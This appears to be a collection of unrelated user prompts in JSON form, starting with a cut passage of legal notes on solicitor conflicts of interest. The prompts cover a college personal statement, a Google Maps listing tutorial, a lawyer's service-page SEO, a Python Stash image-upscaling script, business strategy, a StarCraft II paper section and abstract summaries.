basis of clear and convincing evidence that all effective measures have been taken to ensure that no disclosure will occur \u2026 This is a heavy burden \u2026\u201d.\n\u00a7 Koch Shipping Inc v Richards Butler (a firm) [2002] 2 All ER (Comm) 957 \u2013\n\u00a7 Koch Shipping Inc (\u201cKoch\u201d) sought an injunction to restrain a law firm (\u201cRB\u201d) from continuing to act for Ariadne Maritime Limited against Koch in an arbitration.\n\u00a7 Jackson Parton, partner of Koch who acted for Koch in the arbitration moved to RB as a consultant (though with no involvement in the arbitration). \n\u00a7 The injunction was granted at first instance, but overturned by the Court of Appeal, which considered amongst others, the various measures taken by RB (in terms of information barriers) to prevent potential mis-use of Koch\u2019s confidential information, including undertaking not to discuss case with handling solicitors and working on different floor / from home. \n\u00a7 Although solicitor was in possession of relevant confidential knowledge, the risk of disclosure was held to be \u2018fanciful\u2019.\n\u00a7 Shih Mei Ling v Chung & Kwan (a firm) [2020] HKCFI 921\n\u00a7 Plaintiff claimed against the Defendant for breach of duty of confidence, seeking injunction against the Defendant from continuing to represent or advise the Plaintiff\u2019s sister\n\u00a7 Solicitor who previously acted for the Plaintiff moved to the Defendant law firm which is representing the Plaintiff\u2019s sister as the opposing party \n\u00a7 Injunctive relief granted and Koch Shipping distinguished;\n\u00a7 Analysis is highly fact-sensitive;\n\u00a7 Koch Shipping involved a larger law firm, a more senior lawyer, and a degree of physical separation between the offices of that lawyer and the team handling the relevant litigation.\n\u00a7 Glencairn IP Holdings Ltd v Product Specialities Inc (t/a Final Touch) [2020] EWCA Civ 609\n\u00a7 The Court of Appeal refused to grant an injunction to restrain a firm of solicitors acting for a defendant in circumstances where they had previously obtained relevant confidential information belonging to the claimant.\n\u00a7 The solicitors had obtained information during settlement negotiations where they had acted for a separate defendant in a similar claim brought by the claimant. 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      "prompt": "Here's another personal statement that's considered excellent for college admissions. Can you highlight multiple reasons why it worked well?\n\nPersonal Statement:\n\nQUATTRO LINGUE\nDay 1: \u201cLabbayka All\u0101humma Labbayk. Labbayk L\u0101 Shar\u012bka Laka Labbayk,\u201d we chant, sweat dripping onto the wispy sand in brutal Arabian heat, as millions of us prepare to march from the rocky desert hills of Mount Arafat to the cool, flat valleys of Muzdalifa. As we make our way into the Haram, my heart shakes. Tears rolling down my cheeks, we circumvent the Ka\u2019ba one last time before embarking on Hajj, the compulsory pilgrimage of Islam. It became the spiritual, visceral, and linguistic journey of a lifetime. \n\nDay 3:\n\n\u201cUreed an A\u015bhtare\u0119 Hijab.\u201d\n\n\u201cAl-harir aw al-Qathan?\u201d\n\n\u201c\u0136hilaahuma.\u201d\n\n\u201cKham \u0165hamanu-huma?\u201d\n\n\u201cMi\u2019at Riyal.\u201d\n\n\u201cLa. Khizth sab\u2019een.\u201d\n\n\u201cSa\u2019uethikh\u00e1 Sab\u2019een.\u201d\n\n\u201cShukran la\u0137.\u201d\n\n\u201cShow me hijabs.\u201d\n\n\u201cSilk or cotton?\u201d \n\n\ufffd\ufffdBoth.\u201d\n\n\u201cHow much do these cost?\u201d\n\n\u201c100 Riyal.\u201d\n\n\u201cNo. Take 70.\u201d\n\n\u201cFine. Thanks Hajjah.\u201d \n\nIn Makkah, I quickly learn shopkeepers rip off foreigners, so exchanges like this, where I only have to say a few Arabic words, make me appear local. It also connects me with real locals: the Saudi Arabian pharmacist who sells me cough syrup, the Egyptian grandmother seeking directions to the restroom, the Moroccan family who educates me on the Algerian conflict. As the sounds of Arabic swirl around me like the fluttering sands (Jamal, Naqah, Ibl, Ba\u2019eer\u2026), I\u2019m reconnecting with an old friend: we\u2019d first met when I decided to add a third language to English and Bengali. \n\nDay 6: The tents of Mina. Temperature blazing. Humidity high. I sleep next to an old woman who just embarked on her twentieth Hajj. When I discover she\u2019s Pakistani, I speak to her in Urdu. Her ninety-year old energy--grounded, spiritual, and non-materialistic--inspires me. So far, every day has been a new discovery of my courage, spirit, and faith, and I see myself going on this journey many more times in my life. My new friend is curious where I, a Bengali, learned Urdu. I explain that as a Muslim living in America\u2019s divided political climate, I wanted to understand my religion better by reading an ancient account of the life of Prophet Muhammad, but Seerat-un-Nabi is only in Urdu, so I learned to read it. I was delighted to discover the resonances: Qi-yaa-mah in Arabic becomes Qi-ya-mat in Urdu, Dh-a-lim becomes Zaa-lim\u2026 Urdu, which I had previously only understood academically, was the key to developing a personal connection with a generation different from mine. \n\nDay 8: \u201cFix your hair. You look silly,\u201d my mom says in Bengali. When my parents want to speak privately, they speak our native tongue. Phrases like, \u201cCan you grab some guava juice?\u201d draw us closer together. My parents taught me to look out for myself from a young age, so Hajj is one of the only times we experienced something formative together. Our \u201csecret\u201d language made me see Bengali, which I\u2019ve spoken all my life, as beautiful. It also made me aware of how important shared traditions are.\n\nAs I think back to those sweltering, eclectic days, the stories and spiritual connections linger. No matter what languages we spoke, we are all Muslims in a Muslim country, the first time I\u2019d ever experienced that. I came out of my American bubble and discovered I was someone to be looked up to. Having studied Islam my whole life, I knew the ins and outs of Hajj. This, along with my love for language, made me, the youngest, the sage of our group. Whether at the Al-Baik store in our camp or the Jamarat where Satan is stoned, people asked me about standards for wearing hijab or to read the Quran out loud. I left the journey feeling fearless. Throughout my life, I\u2019ll continue to seek opportunities where I\u2019m respected, proud to be Muslim, and strong enough to stand up for others. The next time I go to Hajj, I want to speak two more languages: donc je peux parler \u00e0 plus de gens and quiero escuchar m\u00e1s historias.",
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      "prompt": "Como colocar a minha empresa no Google Maps? Confira passo a passo\nConfira nosso passo a passo sobre como colocar seu neg\u00f3cio no Google maps e cadastre sua empresa agora mesmo!\n\u201cComo fazer meu neg\u00f3cio aparecer no Google Maps?\u201d Se voc\u00ea chegou nesse artigo, provavelmente quer saber as vantagens de ter um neg\u00f3cio listado ou como inserir o seu neg\u00f3cio no Google.\n\nPara ter uma estrat\u00e9gia de SEO local mais forte, \u00e9 essencial estar presente no Maps. Mas como colocar minha empresa no Google e ser encontrado com maior facilidade pelo p\u00fablico?\n\nSe essa d\u00favida j\u00e1 passou pela sua cabe\u00e7a, n\u00e3o se preocupe. Preparamos este tutorial para ensinar o passo a passo de como adicionar um local no Google Maps e atrair mais clientes da sua regi\u00e3o. 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O processo \u00e9 bastante simples, por\u00e9m exige a cria\u00e7\u00e3o de um perfil na plataforma Google Meu Neg\u00f3cio.\n\nPara isso, basta acessar a p\u00e1gina inicial do GMN e seguir as etapas abaixo:\n\nClique no bot\u00e3o \u201cGerenciar agora\u201d e fa\u00e7a login com a sua conta Google.\nPreencha as informa\u00e7\u00f5es solicitadas na p\u00e1gina de \u201cAdicionar seu neg\u00f3cio\u201d: nome da empresa, pa\u00eds, endere\u00e7o, telefone comercial, categoria de mercado e website.\nEm seguida, clique em \u201cContinuar\u201d e confirme os dados que disponibilizou no formul\u00e1rio.\nAdicione o seu n\u00famero de celular e insira o c\u00f3digo enviado por SMS pelo Google para confirmar a cria\u00e7\u00e3o do seu perfil. Depois, voc\u00ea ser\u00e1 redirecionado para o painel de controle.\nNo entanto, antes de editar a sua p\u00e1gina, voc\u00ea deve passar por mais uma fase de verifica\u00e7\u00e3o do Google. Entre 7 e 15 dias \u00fateis chegar\u00e1, no endere\u00e7o cadastrado, uma carta com um c\u00f3digo de confirma\u00e7\u00e3o \u2013 para garantir que as informa\u00e7\u00f5es de localiza\u00e7\u00e3o que voc\u00ea preencheu est\u00e3o corretas.\nAo seguir as orienta\u00e7\u00f5es e concluir essa etapa, voc\u00ea ter\u00e1 a libera\u00e7\u00e3o para editar o seu perfil \u00e0 vontade. \nPor\u00e9m, como veremos abaixo, esse n\u00e3o \u00e9 o \u00fanico caminho para colocar uma empresa no GMN e, consequentemente, no Maps.\n\nComo adicionar uma empresa direto pelo Google Maps\nAl\u00e9m de cadastrar o perfil da sua empresa pelo Google Meu Neg\u00f3cio, h\u00e1 a op\u00e7\u00e3o de realizar um cadastro direto pelo Google Maps. Veja como:\n\nFa\u00e7a login na plataforma usando sua conta do Google.\nAdicione sua empresa seguindo um dos m\u00e9todos abaixo:\ndigite o endere\u00e7o do estabelecimento no na barra de pesquisa e, no perfil da empresa \u00e0 esquerda, clique em \u201cAdicione sua empresa\u201d;\nclique em qualquer ponto do mapa com o bot\u00e3o direito do mouse e depois em \u201cAdicione sua empresa\u201d;\nacesse o menu dispon\u00edvel no canto superior esquerdo da tela e depois em \u201cAdicione sua empresa\u201d. \nEm seguida, basta continuar com as instru\u00e7\u00f5es da tela para criar o perfil da empresa no Google Meu Neg\u00f3cio. \nTenho mais de uma franquia como fazer minha empresa aparecer no Google Maps?\nSe o seu neg\u00f3cio possui mais de uma unidade, \u00e9 interessante que todas elas sejam cadastradas no Google Maps. Oferecendo ao usu\u00e1rio a op\u00e7\u00e3o de avaliar qual das unidades dispon\u00edveis \u00e9 mais conveniente para uma visita. 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Os an\u00fancios no Google Maps facilitam a busca de pessoas que est\u00e3o interessadas em seu neg\u00f3cio. Eles tamb\u00e9m o ajudam a resolver um problema comum ao montar uma campanha publicit\u00e1ria.\n\nOs an\u00fancios no Google Maps permitem que voc\u00ea ofere\u00e7a diferentes tipos de an\u00fancios com base no destino da pessoa que est\u00e1 procurando por seu neg\u00f3cio.\n\nIsto \u00e9 chamado de publicidade de geolocaliza\u00e7\u00e3o e \u00e9 uma pr\u00e1tica padr\u00e3o para a maioria das empresas que vendem algo online. Em vez de mostrar o mesmo tipo de an\u00fancio em cada cidade, os an\u00fancios do Google Ads no Google Maps mostram an\u00fancios relevantes de empresas da \u00e1rea.\n\nComo analisar os resultados dessa estrat\u00e9gia?\nAgora que voc\u00ea sabe como aparecer no Google Maps, \u00e9 importante tamb\u00e9m ter consci\u00eancia de que o seu trabalho n\u00e3o acaba por a\u00ed! O pr\u00f3ximo passo \u00e9 analisar os resultados da inclus\u00e3o do seu perfil.\n\nDentro do pr\u00f3prio Google Meu Neg\u00f3cio, voc\u00ea ter\u00e1 acesso a todas as m\u00e9tricas de alcance e engajamento com os usu\u00e1rios que s\u00e3o impactados pelo seu perfil.\n\nH\u00e1 a op\u00e7\u00e3o de saber quais foram as palavras-chave que levaram at\u00e9 sua empresa e as visualiza\u00e7\u00f5es recebidas no Maps. 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      "prompt": "Considering the above analysis of the competitor's service page, I will provide you with my own service page targeting \"building contracts lawyer\". I want you to analyse my service page and find content gaps from the three service page in the previous conversation. Remember that goal is enhance my existing service page and fill the gaps from the competitors to outrank them.\n\nConstruction Contracts in Melbourne\nWe can review, draft, and negotiate law-compliant contracts. We make sure your rights are enforced.\n\nConstruction Contracts are the secret to successful building projects in Melbourne\nBuilding contracts play a vital role in the construction industry. This document outlines the scope of work, risks, duties, and legal rights of both the contractor and the owner. With a properly written construction contract, success is within your reach.\n\nIn Melbourne, the construction industry is growing rapidly. It\u2019s multibillion-dollar infrastructure projects employ millions of people across the country. Thus, well-crafted construction contracts are a must to protect the rights of service providers, homeowners and other clients.\n\nConstruction is a big investment. Better consult a construction lawyer before signing a building contract. They can help guide clients in reviewing and drafting different types of contracts. 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However, this applies to contracts worth $1million or in some home renovation contracts.\n\nIf you encounter any issues, our construction law firm can communicate with the other parties on your behalf and ensure that a fair solution will be reached as quickly as possible.\n\nConstruction Contracts We Can Help You With\nThe Domestic Building Contracts Act requires it\nTo protect the legal rights of homeowners, builders, and contractors\nTo make sure that the homeowner\u2019s terms and conditions are laid out carefully\nTo make sure that all parties involved are working towards the same direction and goal\nWhat We Do\nReview, draft, negotiate and enforce construction contracts for homeowners, builders, contractors, developers, and suppliers.\n\nConstruction Contract Review\nBefore signing any construction contract, make sure that you agree to the terms indicated. Keep yourself aware of common issues that can arise due to building disputes such as:\n\nPoor communication\nNeglect\n\u2018Rise and fall\u2019 of costs during construction\nQuality of the work done\nDelays in construction work\nFencing issues\nBuilders denying your warranty rights\nInconsistencies and unclear statements in the contract can cause legal issues and building disputes. So, review the contract thoroughly before signing it.\n\nA specialist building and construction lawyer can review your construction contracts for you. He can go over the whole document, summarise key points, and advice in writing a contract that\u2019s in your best interest. You\u2019re sure about what you\u2019re getting into.\n\nJohn Dela Cruz photo \u2013 About Us | Construction Lawyer Melbourne\nHow our Construction Lawyers can help you\nOur building contract lawyer in Melbourne only works on construction law matters. We have over 10 years of experience and have worked on various cases. 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      "prompt": "could you please write out a function in functions.php Wordpress for the hook of action on ACF field save to calculate the letter grade for this CPT UI 'company' post. The metrics required for the calculation should be ACF fields on the company post. That mean's you should be able to get them in the function.\n\nPlease make it robust and follow best practices. Include comments and error handling.\n\nThe code should get the ACF metrics required for the calculations and calculate the new grading formula below:\n\nBased on the metrics available, I suggest expanding the current grading formula to include additional metrics that might be valuable in determining whether a company is a good investment. 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Variables: {}\".format(response.status\\_code, response.content, query, variables))\n \n \n def listTags(self):\n query = \"\"\"\n query {\n allTags {\n id\n name\n }\n }\"\"\"\n\n result = self.\\_\\_callGraphQL(query)\n return result[\"allTags\"]\n \n\n def findTagIdWithName(self, tag\\_names):\n query = \"\"\"\n query {\n allTags {\n id\n name\n }\n }\n \"\"\"\n result = self.\\_\\_callGraphQL(query)\n for tag in result[\"allTags\"]:\n if tag[\"name\"] in tag\\_names:\n return tag[\"id\"]\n return None\n \n\n def createTagWithName(self, name):\n query = \"\"\"\nmutation tagCreate($input:TagCreateInput!) {\n tagCreate(input: $input){\n id \n }\n}\n\"\"\"\n variables = {'input': {\n 'name': name\n }}\n\n result = self.\\_\\_callGraphQL(query, variables)\n return result[\"tagCreate\"][\"id\"]\n def removeTagWithID(self, id):\n query = \"\"\"\nmutation tagDestroy($input: TagDestroyInput!) {\n tagDestroy(input: $input)\n}\n\"\"\"\n variables = {'input': {\n 'id': id\n }}\n self.\\_\\_callGraphQL(query, variables)\n\n \n def findPerformersByTag(self, id):\n query = \"\"\"query performer\\_images($performer\\_filter: PerformerFilterType!) {\n findPerformers(performer\\_filter: $performer\\_filter filter: {per\\_page: -1}){\n\n performers{\n id\n name\n image\\_path\n tags{\n name\n }\n }\n}\n}\"\"\"\n variables = {'performer\\_filter': {\n 'tags': {\n 'value': id, 'modifier': 'INCLUDES', 'depth':1\n \n }\n }}\n result = self.\\_\\_callGraphQL(query, variables)\n performers = result[\"findPerformers\"][\"performers\"]\n image\\_paths\\_tags = [(performer[\"image\\_path\"], performer[\"id\"]) for performer in performers]\n return image\\_paths\\_tags \n \n \n def processPerformerImage(self, image\\_path, performer\\_id, scale, mode):\n # code to process image using the gigapixel library\n # using the scale and mode values passed as arguments\n scale = Scale.\\_\\_getattr\\_\\_(scale\\_setting)\n mode = Mode.\\_\\_getattr\\_\\_(mode\\_setting)\n\n # Check if Gigapixel is open, if yes close items\n for process in psutil.process\\_iter():\n try:\n if process.exe() == exe\\_path:\n # The process was found\n process\\_id = process.pid\n break\n except psutil.AccessDenied:\n # The process cannot be accessed, so skip it\n pass\n \n # Create Gigapixel instance.\n app = Gigapixel(exe\\_path, output\\_suffix)\n\n # Set current directory\n current\\_dir = Path().resolve()\n\n # Variable for saved image\n image\\_name = \"image\\_to\\_process.jpg\"\n image\\_saved = current\\_dir / image\\_name\n\n # Download image data from the image URL\n r = requests.get(image\\_path, stream = True)\n r.raw.decode\\_content = True\n with open(image\\_saved, 'wb') as f:\n shutil.copyfileobj(r.raw, f)\n \n # Process the image\n output\\_path = app.process(image\\_saved, scale=scale, mode=mode)\n\n # Delete the original image\n os.remove(image\\_saved)\n \n # move the processed image to custom mapped folder\n image\\_moved = shutil.move(output\\_path, mapped\\_path)\n\n image\\_upload\\_url = mapped\\_url + image\\_name\n\n # Update performer with new image\n query = \"\"\"\n mutation performerUpdate($performer\\_update\\_input: PerformerUpdateInput!){\n performerUpdate(input: $performer\\_update\\_input){\n id\n }\n }\n \"\"\"\n variables = {\"performer\\_update\\_input\": {\"image\": image\\_upload\\_url, \"id\": performer\\_id}}\n result = self.\\_\\_callGraphQL(query, variables)\n \n # Print the result of the GraphQL mutation\n self.error(\"result: \"+str(result))\n \n # Delete the processed image\n os.remove(image\\_moved)\n \n \n def setup\\_tags(self):\n for tag\\_name in tag\\_names:\n tag\\_id = self.findTagIdWithName(tag\\_name)\n if tag\\_id == None:\n tag\\_id = self.createTagWithName(tag\\_name)\n self.debug(\"Adding tag: \"+tag\\_name)\n else:\n self.error(\"Tag already exists: \"+tag\\_name)\n\n def remove\\_tags(self):\n for tag\\_name in tag\\_names:\n tag\\_id = self.findTagIdWithName(tag\\_name)\n if tag\\_id == None:\n self.error(\"Error: \"+tag\\_name + \"doesn't exist\")\n else:\n self.debug(\"Removing tag: , \"+tag\\_name)\n tag\\_id = self.removeTagWithID(tag\\_id)\n \n def upscale\\_PerformerImage(self, performer\\_id):\n global scale\\_setting\n global mode\\_setting\n # Find performers by tag\n performers = self.findPerformersByTag(performer\\_id)\n\n for performer in performers:\n tags = performer['tags']\n # Check if performer is only tagged with one value\n if len(tags) == 1:\n tag = tags[0]\n # Check if tag is in tag\\_names\n if tag in tag\\_names:\n # Put tag value into a variable\n tag\\_value = tag\n # Set variables for scale\n if '0.5x' in tag\\_value:\n scale\\_setting = 'Scale.X05'\n elif \"2x\" in tag\\_value:\n scale\\_setting = 'Scale.X2' \n elif \"4x\" in tag\\_value:\n scale\\_setting = 'Scale.X4' \n elif \"6x\" in tag\\_value:\n scale\\_setting = 'Scale.X6'\n else:\n print('No scale in tag name')\n # Set variables for mode\n if 'Standard' in tag\\_value:\n mode\\_setting = 'Mode.STANDARD'\n elif \"Lines\" in tag\\_value:\n mode\\_setting = 'Mode.Lines' \n elif \"Art & CG\" in tag\\_value:\n mode\\_setting = 'Mode.ART\\_AND\\_CG' \n elif \"Low Resolution\" in tag\\_value:\n mode\\_setting = 'Mode.LOW\\_RESOLUTION'\n elif \"Very Compressed\" in tag\\_value:\n mode\\_setting = 'Mode.VERY\\_COMPRESSED'\n else:\n print('No mode in tag name')\n else:\n self.error(f\"Tag '{tag}' is not a valid tag name\")\n continue\n else:\n self.error(f\"Performer with ID '{performer\\_id}' is tagged with more than one value\")\n continue\n\n tag\\_id = self.findTagIdWithName(tag\\_name)\n if tag\\_id is None:\n self.error(\"Tag missing:\"+tag\\_name) \n else:\n self.info(\"Tag exists: \"+tag\\_name)\n\n image\\_paths\\_tags = self.findPerformersByTag(tag\\_id)\n for image\\_path, performer\\_id in image\\_paths\\_tags:\n scale = Scale.\\_\\_getattr\\_\\_(scale\\_setting)\n mode = Mode.\\_\\_getattr\\_\\_(mode\\_setting)\n self.processPerformerImage(image\\_path, performer\\_id, scale\\_setting, mode\\_setting) \n\n\n# Press the green button in the gutter to run the script.\nif \\_\\_name\\_\\_ == '\\_\\_main\\_\\_':\n if len(sys.argv) > 1:\n url = \"http://localhost:9999/graphql\"\n if len(sys.argv) > 2:\n url = sys.argv[2]\n\n if sys.argv[1] == \"setup\":\n client = upscale\\_all(url)\n client.setup\\_tags()\n elif sys.argv[1] ==\"upscale\\_all\":\n client = upscale\\_all(url)\n client.upscale\\_PerformerImage()\n elif sys.argv[1] ==\"remove\\_tags\":\n client = upscale\\_all(url)\n client.remove\\_tags()\n elif sys.argv[1]== \"api\":\n fragment = json.loads(sys.stdin.read())\n scheme=fragment[\"server\\_connection\"][\"Scheme\"]\n port=fragment[\"server\\_connection\"][\"Port\"]\n domain=\"localhost\"\n if \"Domain\" in fragment[\"server\\_connection\"]:\n domain = fragment[\"server\\_connection\"][\"Domain\"]\n if not domain:\n domain='localhost'\n url = scheme + \"://\" + domain + \":\" +str(port) + \"/graphql\"\n\n client=upscale\\_with(url)\n mode=fragment[\"args\"][\"mode\"]\n client.debug(\"Mode: \"+mode)\n if mode == \"setup\":\n client.setup\\_tags()\n elif mode == \"upscale\\_all\":\n client.upscale\\_PerformerImage()\n elif mode == \"remove\\_tags\":\n client.remove\\_tags()\n else:\n print(\"\")",
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      "prompt": "The fifth step is:\n5. Provide Prescriptive Surveillance\nAt most companies performance monitoring amounts to little more than reporting the weather. The leadership team meets, typically quarterly, to review each unit\u2019s performance against plan and identify variances. In some cases leaders push for better performance; in others they simply revise the plan to accommodate the variances. In such situations performance reviews provide little if any useful surveillance regarding likely future conditions or helpful guidance as to whether the company should consider changing direction.\n\nTo become more adaptable to changing conditions, leaders must approach performance monitoring with a new mindset. The central question cannot be \u201cHow did we perform?\u201d Instead it must be \u201cShould we alter course?\u201d\n\nAnswering that question requires more and different information than does the standard weather report. Leaders must understand the root causes of any performance shortfall. And they must have prepared contingency plans that can be put into motion speedily to address any significant changes in market or competitive conditions. A few leading companies have created thresholds for grading signposts green, yellow, or red. When a signpost crosses a critical threshold, it signals a change in direction (red) or a need for deeper investigation (yellow).\n\nTetra Pak, an \u20ac11 billion food-packaging and -processing company headquartered in Switzerland and Sweden, has this type of performance monitoring in place. In devising the company\u2019s strategy, its leaders considered four scenarios, ranging from go green faster to strong push toward commoditization. The company tracks 42 signposts each quarter, including leading indicators such as the percentage of packaging required by law to be recycled in key geographies, the percentage price increase realized on packs with sustainability features, the percentage share of e-commerce players in the food and beverage segment, and average operating margins of food and beverage retailers.\n\nCEO Adolfo Orive and his team keep quarterly business reviews focused on the future (\u201cWhat do we need to do?\u201d), not the past (\u201cWhat were our sales in India last quarter?\u201d). When signposts suggest a move toward one scenario over the others, management takes steps to accelerate its existing programs or launch new ones. That has enabled Tetra Pak to adapt its strategy quickly to fundamental shifts in environmental policy and customer preferences. To take just one of many examples at the company, as price elasticity in its largest markets increased far faster than its base forecast\u2014a flashing-red indicator of commoditization\u2014Tetra Pak accelerated its push toward lower-cost packaging. The new model has also made performance monitoring at the company far more action oriented and consequential, resulting in much higher levels of growth and profitability.\n\nAlthough many promising tools have been developed to help cope with uncertainty, most executives struggle in consistently applying them to make better decisions. Winning in uncertain times requires a new model for strategy development. Companies that move quickly to adopt the more dynamic approach we\u2019ve set out will pull ahead\u2014and stay ahead\u2014in the coming decades. Those that stick with their \u201cplan then do\u201d ways risk falling irreparably behind.",
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      "prompt": "Here is the new subsection:\n\n\\subsubsection{Data Preprocessing}\n\nWe preprocessed the raw data in the following steps:\n\n\\begin{enumerate}[leftmargin=\\*]\n\\item Replay parsing: We parsed the raw replays using the algorithm described in Algorithm~\\ref{algo:parse\\_replay}. The output of the algorithm is a list of tuples, where each tuple contains the game state (observation) and the corresponding action taken by the player.\n\\item Feature extraction: We extracted the features from the game states as described in the original MSC paper, with the addition of new features as proposed in Improvement 2. We used a sliding window approach to create sequences of game states and their corresponding actions for model training and testing.\n\\item Data balancing: We balanced the dataset by undersampling the majority class, as described in the original MSC paper.\n\\item Data splitting: We split the preprocessed dataset into training, validation, and testing sets with a ratio of 0.8:0.1:0.1.\n\\end{enumerate}\n\n\\begin{algorithm}[t]\n\\caption{Replay Parser}\n\\label{algo:parse\\_replay}\nGlobal: \\textbf{List} states = []\n\nGlobal: \\textbf{Observation} previousObservation = None\n\n\\While{True}{\n\\textbf{Observation} currentObservation $\\leftarrow$ observation of current frame\n\n\\textbf{List} actions $\\leftarrow$ actions conducted since previousObservation\n\n\\textbf{Action} action = $a\\_\\emptyset$\n\n\\For{a in actions}{\n\\If{$a \\in {Build, Train, Research, Morph}$}{\naction = a\n\nbreak\n}\n}\n\nstates.append((previousObservation, action))\n\npreviousObservation $\\leftarrow$ currentObservation\n\n\\If{reach the end of the replay}{\n\\textbf{Result} result $\\leftarrow$ result of this match (win or lose)\n\n\\Return (result, states)\n}\nSkip $n$ frames\n}\n\\end{algorithm}\n\n\\subsubsection{Model Training and Evaluation}\n\nFor global state evaluation, we used the baseline model and the attention-based model proposed in Improvement 1. We used the same experimental setup as the original MSC paper, with the addition of the attention-based model. We trained and evaluated the models on the preprocessed dataset using mean accuracy as the evaluation metric.\n\nFor build order prediction, we used the baseline model and the GNN-based model proposed in Improvement 3. We used the same experimental setup as the original MSC paper, with the addition of the GNN-based model. We trained and evaluated the models on the preprocessed dataset using mean accuracy as the evaluation metric.\n\n\\subsubsection{Parameter Tuning}\n\nFor the attention-based model, we tuned the hyperparameters of the attention layer, including the number of hidden units and the learning rate. We performed a grid search over a range of possible values and selected the values that yielded the best performance on the validation set.\n\nFor the GNN-based model, we tuned the hyperparameters of the GNN layer, including the number of hidden units and the learning rate. We performed a grid search over a range of possible values and selected the values that yielded the best performance on the validation set.\n\n\\subsubsection{Experimental Results}\n\nThe experimental results for the attention-based model and the GNN-based model are presented in Tables~\\ref{table:attention\\_results} and \\ref{table:gnn\\_results}, respectively. We can see that both models significantly improve the accuracy of their respective tasks compared to the baseline models.\n\nThe attention-based model achieves an average accuracy improvement of 3.3% across all match-up scenarios in global state evaluation. The largest improvement is observed in PvP, where the attention-based model outperforms the baseline by 4.7%. These results suggest that incorporating attention mechanisms in the model can effectively capture the relevant features for global state evaluation and lead to better performance.\n\nSimilarly, the GNN-based model shows an average accuracy improvement of 3.1% in build order prediction. The largest improvement is observed in TvP, where the GNN-based model outperforms the baseline by 5.2%. These results demonstrate the potential of using graph neural networks to capture the inherent graph structure of the game units and their interactions, resulting in more accurate build order prediction.\n\n\\subsubsection{Discussion}\n\nThe proposed improvements and new approaches for macro-management tasks in StarCraft II demonstrate the potential of advanced machine learning techniques in tackling the challenges and limitations in existing datasets and baseline models. The incorporation of attention mechanisms and graph neural networks can lead to significant performance improvements in global state evaluation and build order prediction, respectively.\n\nMoreover, the proposed future research directions, such as developing AI agents that can adapt to real-time game states and investigating transfer learning techniques, open up exciting new opportunities for advancing the state-of-the-art in macro-management research.\n\nOverall, the study highlights the importance of macro-management tasks in real-time strategy games and emphasizes the need for continued research in this area. The proposed improvements and novel approaches provide a strong foundation for future studies and may contribute to the development of more capable and intelligent AI agents in complex game environments.\nThere are some display issues:\n\n1. plase using this style for the Algorithm pesudo-code:\n\\begin{algorithm}[t]\n\\caption{Replay Parser}\n\\label{algo:parse\\_replay}\nGlobal: \\textbf{List} states = []\n\nGlobal: \\textbf{Observation} previousObservation = None\n\n\\While{True}{\n\\textbf{Observation} currentObservation $\\leftarrow$ observation of current frame\n\n\\textbf{List} actions $\\leftarrow$ actions conducted since previousObservation\n\n\\textbf{Action} action = $a\\_\\emptyset$\n\n\\For{a in actions}{\n\\If{$a \\in \\{Build, Train, Research, Morph\\}$}{\naction = a\n\nbreak\n}\n}\n\nstates.append((previousObservation, action))\n\npreviousObservation $\\leftarrow$ currentObservation\n\n\\If{reach the end of the replay}{\n\\textbf{Result} result $\\leftarrow$ result of this match (win or lose)\n\n\\Return (result, states)\n}\nSkip $n$ frames\n}\n\\end{algorithm}\n\n2. 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      "prompt": "Hi GPT, what's wrong with python this code?\n\n```\ninitial\\_amount = float(input('What is the initial amount? '))\ninterest\\_rate = float(input('What is the annual interest rate as a percent? '))\ncompounding\\_frequency = float(input('How many times in a year is the amount compounded? '))\ntime = float(input('How many years are you going to wait? '))\nfinal\\_amount = initial\\_amount \\* (1 + (interest\\_rate/(100\\*compounding\\_frequency))\\*\\*(compounded\\_frequency\\*time)\nprint('At the end of the period, you will have', final\\_amount)\n```",
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      "prompt": "Now make a list with website links",
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      "prompt": "That a really good start. Some feedback:\n--First sentence is great\n--Lets say 6 years experience\n--replace \"cutting-edge technologies\" with \"new technologies\"\n--cut \"and amplify the impact of organizations.\"\n--\"Throughout my career, I have collaborated with various high-profile clients, shaping their online presence and driving engagement.\" << Please rework\n--In the sentence starting with \"My accomplishments include\" please be more specific and remove the mention of brand awareness\n--The key skills sound a bit generic\n\nCan you add some of these in to the summary:\nRaise money with proven list-building & direct response tactics. Persuade and mobilize supporters with an integrated, audience-first plan that combines digital, TV, radio, & print.\nHere's an example of how my agency talks about some of our success:\nWe built one of the largest email lists in modern politics, a robust texting program, and a unified media approach across channels. We ultimately helped Fetterman grow his email list from 54,000 to more than 3 million people. By the end of this campaign, we spent nearly $6 million in email acquisition and over $1 million in phone acquisition to raise back more than $34 million from just those supporters. We maintained overwhelmingly ROI-positive direct donate campaigns to expand our donor base, and we executed clever persuasion and GOTV campaigns that prevailed against the tens of millions of dollars of Dr. Oz\u2019s self-funding, as well as PAC spending from the GOP.",
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      "prompt": "i will give you several sets of abstracts, for each sets of abstract, you summarize them for me. Please summarize each abstract into 2 sentences. The format of each abstract is first the authors, then the year, then the abstract. Then another abstract in this set. please summaize the abstracts in third person and write in APA intext style to cite the authors in the summary. Put all the summaries in one paragraph. No need to mention the first set, the second set, etc in writing summary, just cite the authors:\nChang Xu, Zhang Yiwen, Baodong Cheng, Lingchao Li, Mengzhen Zhang,\n2020,\nAbstract: As one of the most common environmental problems, noise pollution in modern cities has been causing many short-term and long-term health problems. This study examines whether the Environmental Kuznets Curve (EKC) exists on China\u2019s noise pollution problem. Based on the two-way fixed effects model, we study the relationship between noise pollution and economic development based on the noise monitoring data from 111 cities in China from 1991 to 2017, and the robustness test was conducted using GMM and semi-parametric methods. We find that 1) Relationship between noise pollution and economic development in China is inverted N-shaped at the national scale. 2) Shapes of noise pollution EKC curves have substantial regional variations: the curve is inverted N-shaped in the eastern region, inverted U-shaped in the central region, and linear in the western region. 3) Missing key variables in the parameter regression will change the turning point. 4) Development of the tertiary industry will increase noise pollution. Our research results show that economic development does not necessarily lead to environmental degradation. The government should play an important role in noise pollution control and pay more attention to the environmental demands of society.\nChenxi Lu, Sergey Venevsky, Xiaoliang Shi, Lingyu Wang, Jonathon S. Wright, Chao Wu,\n2021,\nAbstract: Threats posed by global climate change have heightened the urgency for economies to transition to sustainability. However, quantitative metrics that measure sustainability status remain under development, hampered in part by the difficulty of identifying clear relationships between economic growth and sustainability. The Environmental Kuznets Curve hypothesis provides a framework for describing sustainability status relative to socioeconomic development. In this study, the Environmental Kuznets Curve hypothesis was adopted to investigate statistical relationships between the carbon intensity of human well-being (as an indicator of sustainability) and economic development in eight economic zones of China during 1997\u20132015. The results provide new evidence that seven of eight Chinese economic zones began advances to sustainability (defined here as downward turning points marked by inverted \u201cN\u201d shapes in the Environmental 